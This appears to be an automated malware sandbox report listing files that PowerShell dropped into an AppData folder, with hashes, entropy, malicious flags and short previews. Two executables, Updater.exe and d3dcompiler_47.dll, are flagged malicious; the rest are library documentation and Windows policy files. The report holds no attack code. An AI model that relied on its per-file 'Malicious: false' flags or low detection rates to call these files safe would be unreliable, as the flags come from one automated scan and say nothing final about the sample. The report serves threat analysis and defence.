Preview:	.R..FV...U_.fQpjF.pSZ..\n....dXO......UZU..L.U.....K..p.....E.t.S...er..L..v.XE..j.ie.TaQS.D.._.yw...o.Q.w.m...SU......gd.\XyQ.....p...R..ux.Ch.E.U.hT.gOi.JqBM..t...qLqe..`......K..HG.[].m....R.w..wFe.....^iMQ.Mbmi......o.C[...y.w..G..HM..UO..y.D..d.Lro.sW......J.Z[..yTY.........y...f.w.iYulDcV.xIm.l.gcQ.F.o.._`R.j.WM....^Rjh.......U.yj.g..K..L.G..]S..]NPV...Oo.L.V......k..gA..p..S..Q.P..H`V.e.T...DwR.....s..K.Yp._f...s.RE..l.n.....PO.sNt.IM.i.....argDt.D.._.......w.B..w.wj...O.....d.C..r.]fp..j..pB......`g......UH.n.FIEM.x\f.Dcyx...l..kX.TWRP..ne.tA..WTM.NFI..OP.i..Kp.W...S...gT.a...RJ..Sar.f....M.D[...YH...`n.p.y.Im.c..TT..d..hiO.Bi.a^.n...KUP.oeJW.JoQspIJET`..`..wS..^.MQ.R.Tpou.d...^P..[oB...B.V.D..tBv....uYDpw.C.S..QN.EX...F.....s......[.e...Uq..h.`.h....T....[.....c.DXj_S..t]...WU..E.Bl.i.l..V....P[..J..^.L.Rx.A..i`..H.]...[.jou......P.eG..VDKh.LLN....Q.g....Yv.iN.fx.ITl.aR..Om..GDm........Rn.jD.qYU....by.XtMErXi.......W.krpNK....\..T..Z....pP.T...sCx..g.t.hvrLZm.F........L...vmN.

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\NAudio.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1054613
Entropy (8bit):	4.601238684297783
Encrypted:	false
SSDEEP:	6144:HCH/qJhYLq2SudOFFEpSQjV2SFq3Pxl2ZRN6hhQvb/0nPubFnkFrAt:8FLZGFEnJt6hhQ0PykFY
MD5:	224D05879C6F2B9708EDBB7CF244E76E
SHA1:	5DB1157DDFEFFC4C30650B21F014530470EFE729
SHA-256:	8E58FFD1BA32AB7EAE118F2861ED1449F49A3CD0C459DF2AC26A1FF1BF4D7245
SHA-512:	D3CF29A37D3B5E1FAA7B8153FB2C21DB9A65868530C51D8E589CDD2E010674CD93610DDC10309D15DF07B6E9E6D6D892C8DB0E16E67638BF72BEAD9FC83E4AB9
Malicious:	false
Preview:	<?xml version="1.0"?>..<doc>.. <assembly>.. <name>NAudio</name>.. </assembly>.. <members>.. <member name="T:NAudio.Codecs.ALawDecoder">.. <summary>.. a-law decoder.. based on code from:.. http://hazelware.luggle.com/tutorials/mulawcompression.html.. </summary>.. </member>.. <member name="F:NAudio.Codecs.ALawDecoder.ALawDecompressTable">.. <summary>.. only 512 bytes required, so just use a lookup.. </summary>.. </member>.. <member name="M:NAudio.Codecs.ALawDecoder.ALawToLinearSample(System.Byte)">.. <summary>.. Converts an a-law encoded byte to a 16 bit linear sample.. </summary>.. <param name="aLaw">a-law encoded byte</param>.. <returns>Linear sample</returns>.. </member>.. <member name="T:NAudio.Codecs.ALawEncoder">.. <summary>.. A-law encoder.. </

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.ex

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	424552
Entropy (8bit):	6.000236226718345
Encrypted:	false
SSDEEP:	3072:bebeJQsqiaJnFdHfQoB9bls1YxRz5QZ1y+ymaQfA30KQBhYJXv4M4Mz07ROZH1pH:jh+nf4+tG/vyohq4M4M4gl7T
MD5:	A341D9BFAAE6A784CB9E2EA49C183FB4
SHA1:	D061C12DFFA6A725F649DAE49C99F157E93BB175
SHA-256:	52416BB8275988AA5145BE6359B6C6A92E3C20817544682C2C1978B50FF2052C
SHA-512:	9DFF4BA2ABF889C9F9E71DA1F91ABDDE1742A542B53E8C289E011113E1BCB86D4B1AAF5E7AADF97AA5ED36AB50227295E27CE700D30524F7198FD8F3928C36A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.. yx.syx.syx.sp.#sux.s...r{x.sl..rex.sl..rsx.sl..rzx.sl..r.x.syx.szx.syx.s.x.sO..r.x.sO.Osxx.syx'sxx.sO..rxx.sRichyx.s........PE..d....\.e.........."....%............4..........@...................................../....`..........................................................`...........F...R..h(...p..8"..PT..T............................S..@............................................text............................... ..`.rdata..............................@..@.data....a.......\..................@....pdata...F.......H..................@..@.rsrc........`.......&..............@..@.reloc..8"...p...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.exe.config

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	5.038231865445437
Encrypted:	false
SSDEEP:	24:2dV8F7H3p2/+XBPpZp2/+XBPqp2/+XBw1irkV:cVg7C+XBR4+XBn+XBvrE
MD5:	75E66AB540561A0C7D4160271F518243
SHA1:	AD6501E407D216744B6C3DE76D7664D9581EBAD2
SHA-256:	091AFFF3BB63024B5A7B14EA30306B6753858FD1A33FC8C98E3B5E65FE92FBE7
SHA-512:	FCB55C0FDBB984B06AFF2FAFCAEA2596C175AA5A07D2F1A401305D3441338AA266A53D2DE7A7577684884A2E12CE3EE430B2E1D0210684A7EEFAF9EAA0DE115F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.... <appSettings>.. <add key="DownloadLocation" value=""/>.. </appSettings>.... <runtime>.... <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.... <dependentAssembly>.... <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Threading.Tasks" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... </assemblyBinding>.... </runtime>

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\d3dcompiler_47.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4917656
Entropy (8bit):	6.3987875878837785
Encrypted:	false
SSDEEP:	49152:+CZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRNZ:tG2QCwmHjnog/pzHAo/Ay
MD5:	B37CC24FCFDCCA9DEAD17A498E66DB9C
SHA1:	C959AB27CE476DCB0C7312C30C613FE3307BB877
SHA-256:	9F5B1AD41183BA50896EB09BE917B1382980224E212A97080D33C0BF3DEE40DD
SHA-512:	E62E1B985939688AA2EB920F5CFA50377934A8256D7AAA8A1DEF705DE1D47E5CD15515D043622553BBE512469F5C2ED05A7BDEDD4F5D17E99109274F9BFFE95C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d.....Ne.........." ......8..........<).......................................K.......K...`A........................................`%G.x....(G.P.....J.@.....H.......J..)....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\devtools_resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6175880
Entropy (8bit):	5.4706772583563845
Encrypted:	false
SSDEEP:	49152:sLFPZAKkA/koZdvvVqdkTZdvvVqwkF/yWzmJUTvU8ZaTG2os1y3JkkaXSqDJMuXR:WLwW
MD5:	731A70D555B49A74607EFA43D407948F
SHA1:	01B9D0CF34EAB6D171A819C0A6A694B8B499702E
SHA-256:	94B15729530FCF90D11156D38FFD0152ACE21182EE44E63C51DC5E2AF25345D2
SHA-512:	4D8EB837BA3FF475F42D72DF0375CA4CC0CA18B4E3702FF39E910D67686AFB81234C457C61BDD36C8927FF73695BB19017423CDA2787242273E0BAA398DDABB0
Malicious:	false
Preview:	........~....p.....p.....p.3...p.6...p.p...p./...p.3...p.7...pd....p8....pu....pM....p.....p:]$..pu_$..p.0%..p.2%..pQ.%..pR.&..p..+..psi+..pV.+..p..+..p.a0..p.A1..p;.3..p..3..p.?4..p..5..p..5..p..5..p..:..p4W:..p~w:..pD.:..py.:..p0.;..p+.;..pe.=..pe.=..p..>..p..>..p..B..pN.C..pi~E..p..E..p..H..q.PI..q3.L..q.OL..q..L..q,,M..qP?M..q%SN..q..R..qo.U..q.wV..q.xZ..q..Z..q<0[..q..\..q.n\..q.v\..q~w\..q.~\..q.~\..q..\..q..\..q..\..q.\..qy.\..q..\..q.\..qm.\..qs.\..q.\..qp.\..ql.\..q.\. ql.\.!q..\."q..\.#q..].$q=.].%q..].&q..].'q..].(q..].)q..].*qa"].+q.\].,q.n].-q.]..q.]./q..].0qB.].1q..].2q..].3q.].4q..].5q`.].6qL.].7q.].8qG.].9q..].:q..].;q+.].<q..].=q.].>q\.].?qo.].@q..].Aq..].Bq..].Cq..].Dq>.].Eq..].Fq\.].Gq..].HqB.^.Iq..^.Jq).^.Kq8.^.Lq>.^.Mq..^.Nq..^....<^..p&.W._,...T...Ve .8..P.H...=......D.g.{.:..r.....R.j.`.._....a.J...[U....[.o.A.......Uvx......lM........k...2\|.+.....c1BJu[G"..A.p.Z.......I..^x....Q4....2f.6..[..#x...T.}r....oP...(i......pr..mU_.O5.2..4{}.MQG..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ActiveXInstallService.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (403), with CRLF line terminators
Category:	dropped
Size (bytes):	5601
Entropy (8bit):	4.777090038504722
Encrypted:	false
SSDEEP:	48:cgeD5x8gm0fUsPXKn5o3OqALPLFS31U87GUkNAsGNuiYzXmoOX1mTXoWlIGe0FsC:LeD5pmKeC3G8SsuiYR1Pl7e0V4zZpBsV
MD5:	46876B1E6C8BA1FBF3ABC838CCF809B0
SHA1:	45CE70EDD0CA87A5920D43385066087DF134E30F
SHA-256:	F49428CABB6F6671D95EF214133100C268D2AB04DBF0F095DD08B0105ED9D8A7
SHA-512:	702C319B2D181753BE99D99C3DFF9F6C578934067C89A614E9E4B0A5DA6A0FB3545A3BA4986E12E9DA5DE8C6AF56780982D181A8D949A6E573AF725E2505DECA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>ActiveX Installer Service</displayName>.. <description>Installs ActiveX controls from approved installation sites</description>.. <resources>.. <stringTable>.. <string id="AxInstSv">ActiveX Installer Service</string>.. <string id="AxISURLZonePolicies">Establish ActiveX installation policy for sites in Trusted zones</string> .. <string id="AxISURLZonePolicies_explain">This policy setting controls the installation of ActiveX controls for sites in Trusted zone. ....If you enable this policy setting, ActiveX controls are installed according to the settings defined by this policy setting. .. ..If you disable or do not configure t

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AddRemovePrograms.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (496), with CRLF line terminators
Category:	dropped
Size (bytes):	10736
Entropy (8bit):	4.664813059485856
Encrypted:	false
SSDEEP:	192:Eyvs59wT2mCtKNSMRdMi4LBDZDHZEzT+ygx5LDkFdzj9nWyihWhqeGzpbeEKJ28m:ZvyiCDdyTO54zj9na8hqe6pbeEK5jq
MD5:	DFE20A0CA8674D6EAEA280C139E2688A
SHA1:	97027B92D40F5029FF296A9EA3105B775B50C209
SHA-256:	C97CD236F8BE2B235685D3D16632482839208604DB3F550F9524EAFDA33B9CA9
SHA-512:	120C45BD17045B6F3D4A9295E1888D81FFA99ED0F1D146AA2EEC387C1187EEF8C718179771BC0CDBE01A37A487D933F55C92F6F37954F392F007CBFAA2AEC877
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Arp">Add or Remove Programs</string>.. <string id="DefaultCategory">Specify default category for Add New Programs</string>.. <string id="DefaultCategory_Help">Specifies the category of programs that appears when users open the "Add New Programs" page.....If you enable this setting, only the programs in the category you specify are displayed when the "Add New Programs" page opens. Users can use the Category box on the "Add New Programs" page to display programs in other categories.....To use this setting,

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AppCompat.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	10119
Entropy (8bit):	4.722381803392372
Encrypted:	false
SSDEEP:	192:EsMVhCuGKXl6hIAtZUqxw66Utw0Uvk3EUN2X/TDcvEn:J/uX6GAjj6mcvk3EUN2XXcvQ
MD5:	93C28840D18ED15AF63308926F5AAC66
SHA1:	5ED7A8056F1E8A68FEA17C6EF81B695DF8A3EA70
SHA-256:	0AC43A8DF0E8795968C0F9B6ECC6FBF620B761C128545AD689EEC5DFF21F5F1D
SHA-512:	653B9905DC0BBDE62F06EFA1C613F4E4A0823331D31D396DB0226FDB41A9AD4D148C1B5DABFA0CA64A74156F5AD446428F3344FFE75828A7C8225D3F0D214758
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AppCompat">Application Compatibility</string>.. <string id="AppCompat_Prevent16BitMach_Help">Specifies whether to prevent the MS-DOS subsystem (ntvdm.exe) from running on this computer. This setting affects the launching of 16-bit applications in the operating system.....You can use this setting to turn off the MS-DOS subsystem, which will reduce resource usage and prevent users from running 16-bit applications. To run any 16-bit application or any application with 16-bit components, ntvdm.exe must be allowed

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AppXRuntime.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (394), with CRLF line terminators
Category:	dropped
Size (bytes):	4462
Entropy (8bit):	4.744620806615911
Encrypted:	false
SSDEEP:	96:jJpm5IJUVaBfgHt6kNEmB+kClbNpbj03V:Xc3AIHF20F
MD5:	BF19DB2E91EDEFE517515BA23B30103E
SHA1:	324D98B315D7F8E096D8D61505610706D0C73856
SHA-256:	42778994D23CDB74C446E70C30942991E89DF6AACC1225AEBB05464D69DA6DEC
SHA-512:	9C193CD9597F90913643CDD2079E36930E60B6AB539D96BA0D5DA7EA2B5DDE0B78D7451D0A4AC37CBBB8A90C548285FBF640099EDA949665E186586D893ADB14
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>App runtime</displayName>.. <description>App runtime policies</description>.. <resources>.. <stringTable>.. <string id="AppxRuntime">App runtime</string>.. <string id="AppxRuntime_Help">Contains settings to manage the behavior of Windows Store apps.</string>.. <string id="AppxRuntimeBlockFileElevation">Block launching desktop apps associated with a file.</string>.. <string id="AppxRuntimeBlockFileElevationExplanation">This policy setting lets you control whether Windows Store apps can open files using the default desktop app for a file type. Because desktop apps run at a higher integrity level than Windows Store apps

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AppxPackageManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3093
Entropy (8bit):	4.7903363478779735
Encrypted:	false
SSDEEP:	48:c0Jx8gm9JcfSB2W27u0jX9X/f4kvqGbRG4QXzgtWFV:jJpm9Jc62Dv5bRjWFV
MD5:	B182F0B429A84D7E97C3D50EADF154A5
SHA1:	87DDA04EDCFE5E6C22F0224D9EE8375E0920B7F6
SHA-256:	5CD8B222AECBDEAC3DF2DE6B774AF7E02988981136F6E5E9CD3D12735C6A6416
SHA-512:	C42670FA053734C1B909FBB1AE189D4ACF72B290679C1564D78276022BDF0AFD279558C608F00953325E5AEE47EB93DF35C5AFDBB29F698E5C8F808610DB5055
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. displayName and description are not used. Not supported by current Group Policy tools. -->.. <displayName>Appx Package Manager</displayName> .. <description>Appx Package Manager</description>.. <resources>.. <stringTable>.. <string id="AppxDeployment">App Package Deployment</string>.. <string id="AppxDeploymentAllowAllTrustedApps">Allow all trusted apps to install</string>.. <string id="AppxDeploymentAllowAllTrustedAppsExplanation">This policy setting allows you to manage the installation of trusted line-of-business (LOB) Windows Store apps.....If you enable this policy setting, you can install any LOB Windows Store app (which m

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AttachmentManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (564), with CRLF line terminators
Category:	dropped
Size (bytes):	9845
Entropy (8bit):	4.7103779388766025
Encrypted:	false
SSDEEP:	96:LeD5pmiPXXvXd0GkXgueX0dX0LhTW9jS+9FMDPaSPL9DVH60XZgn9ZE60Y2IHm0s:EZHvmQ/WXtyPHPLuV3HmEPdHK
MD5:	156ADEBCA5CD43E0D849F921B26594C3
SHA1:	0DCDA3A3C5CDB824D7FAE9FD2D52638DE6BAC841
SHA-256:	6974AEBDCB65AB63DECD224D3C060F0AFCA11E00C781657EAD44F64073094BF8
SHA-512:	32DC4890719AAEBC7CB5A088EF7C4FD7A86207C36E76C0FA60584E3DF0687C2DF297CBF82750885BCD42542700BD0D14011D57D9CED9FC32E582F70061C68013
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AM_AM">Attachment Manager</string>.. <string id="AM_CallIOfficeAntiVirus">Notify antivirus programs when opening attachments</string>.. <string id="AM_EstimateFileHandlerRisk">Trust logic for file attachments</string>.. <string id="AM_ExplainCallIOfficeAntiVirus">This policy setting allows you to manage the behavior for notifying registered antivirus programs. If multiple programs are registered, they will all be notified. If the registered antivirus program already performs on-access checks or scans

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AuditSettings.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	4.78689414618934
Encrypted:	false
SSDEEP:	48:cgeD5x8gmsYLytG4rpdfUMo5mvS3bHpWdPV:LeD5pmvWvp+5wwWNV
MD5:	71075FCE08402095AEAFBE57962A1F5B
SHA1:	F76FAE255AA5454217FE973C4A8035EC9005B923
SHA-256:	6928FAAD9624BBF4C74F6C138496A4C6AE8D04919C3DE9591568300C1DD39E59
SHA-512:	9DF7480E584B16D1B504E2503B3C4C8422EFC2FA37D9A4ACEB8A7AEA0561C0D73E8E73CB21FEA20C6EC3BBBCB715C155EFDA7B8E38B7B448BCDA5DB10D773DE4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Audit Process Creation</displayName>.. <description>Configuration settings for auditing process creation.</description>.. <resources>.. <stringTable>.. <string id="AuditSettings">Audit Process Creation</string>.. <string id="IncludeCmdLine">Include command line in process creation events</string>.. <string id="IncludeCmdLine_explain">This policy setting determines what information is logged in security audit events when a new process has been created.....This setting only applies when the Audit Process Creation policy is enabled. If you enable this policy setting the command line information for every process will be logged in plain tex

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\AutoPlay.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4884
Entropy (8bit):	4.732776627339853
Encrypted:	false
SSDEEP:	96:LeD5pmCRsKp7RqiPKhB3a1jejcM64iVDJaqV:ELRRp74a1AbodJ7
MD5:	935C602DAD3F4335BD16C269E66DBFAA
SHA1:	3DF4DC6D55AF20F0593D807FB4FDEFB23CC3355A
SHA-256:	8773998440C8D534FA69833174D05D09088F07E6E5C0E41D7C04A229C7903879
SHA-512:	05ABFFC0CE836F7438BC711A9D2B5CEB8F3F1C48BE2AC9C1A91D286AED6FC4C8D740AE802DCD2CC65D066972DC8DAA84AD8A10FA775D66CB5F3DE34688D975EC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AutoPlay">AutoPlay Policies</string>.. <string id="AutoPlay_Help">Configure various AutoPlay behaviors.</string>.. <string id="NoAutorun">Set the default behavior for AutoRun</string>.. <string id="NoAutorun_Help">This policy setting sets the default behavior for Autorun commands..... Autorun commands are generally stored in autorun.inf files. They often launch the installation program or other routines..... Prior to Windows Vista, when media containing an autorun command is inserte

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Biometrics.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	4309
Entropy (8bit):	4.706598922443907
Encrypted:	false
SSDEEP:	96:oD5pmJFp5A8M9DIn0C3ppMdiD+BukevPCRTqCV:+Mp5lM9M3ppUiC2vPClP
MD5:	C32F834C78DC4DB3C12084AB5115E4A5
SHA1:	BE211306E8BA801EDD43E68E28F98947354A35BC
SHA-256:	4222D7C39B72F570C01F76EE084278BD32619D039F197A1AAE0B508C4E2CAF32
SHA-512:	2551575C490A8B4C36FD0E44B4E7C27693DF94C74715BC0F242BE2F947AE2AF097D574AC1823F3ACC71E8D69C17D6257192AAB1255B25C3122F4196C10B9F674
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Biometrics Configuration Settings</displayName>.. <description>Biometrics Configuration Settings</description>.. <resources>.. <stringTable>.. <string id="BiometricsConfiguration">Biometrics</string>.. <string id="Biometrics_EnableBio">Allow the use of biometrics</string>.. <string id="Biometrics_EnableBio_Help">This policy setting allows or prevents the Windows Biometric Service to run on this computer... ..If you enable or do not configure this policy setting, the Windows Biometric Service is available, and users can run applications that use biometrics on Windows. If you want to enable the ability to log on with biometrics, yo

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Bits.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (534), with CRLF line terminators
Category:	dropped
Size (bytes):	32159
Entropy (8bit):	4.887654356231583
Encrypted:	false
SSDEEP:	768:Uw9+2pWqx80t3lMsQAZ5nV7smu7CQ62TDw4p2L:H+2Lx8Q3lLB+wx
MD5:	F6E746CD330A73B928C14770D9645BD0
SHA1:	7EDED72EB36035A93AF3943B6F5F330082307968
SHA-256:	80D730B14BBB66B29360C108C8A57E09AA33E57DC1C9EAFFCAD5D66B3EF98C31
SHA-512:	6295E9062941DAEDCF4BF3E5BEBA03010AFDE880F43E95052DBCE3FDB485C92C73B0CB57E9374F691C79FA43044CFCBBDB92CDE189E1C3AFF90024B19B525F1E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. Supported Platforms -->.. <string id="SUPPORTED_WindowsXPSP2WindowsNETSP1orBITS20">Windows XP SP2 or Windows Server 2003 SP1, or computers with BITS 2.0 installed.</string>.. <string id="SUPPORTED_WindowsXPWindowsNETorBITS15">Windows XP or Windows Server 2003, or computers with BITS 1.5 installed.</string>.. <string id="SUPPORTED_Windows7OrBITS35">Windows 7 or computers with BITS 3.5 installed.</string>.. <string id="SUPPORTED_Windows8OrBITS5">Windows 8 or Windows Server 2012 or Windows RT or computers

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\CEIPEnable.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	4.91759301234844
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yMPs9IsKiz+d9Wz+fWz+MJe4UNr2ce4u5qHLuB1XR0r:cgeD5x8gm8fKfiI9W+WwUzqG1XGPV
MD5:	CB1E5DCF00DD4AA26834F7F02EA4AA0E
SHA1:	EAEBB6A75FE6AEEC3AFE914DF9DAD9BCB08702C1
SHA-256:	7651F59A99180721F39B02391BB51D382B39DBCD15E3E2245B10778B7A8A5D95
SHA-512:	BC84BD30E99735495803360F061088334736CAF9D7AE1C5FAD9C484D949991F09C59D6FB818DE35F6328E94FEDD63C2C6D80D63ACDF616BF936762CBF656AE3A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WindowsCEIPCat">Windows Customer Experience Improvement Program</string>.. <string id="CorporateSQM">Allow Corporate redirection of Customer Experience Improvement uploads</string>.. <string id="CorporateSQMExp">If you enable this setting all Customer Experience Improvement Program uploads are redirected to Microsoft Operations Manager server.....If you disable this setting uploads are not redirected to a Microsoft Operations Manager server.....If you do not configure this setting uploads are not redirect

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\COM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1670
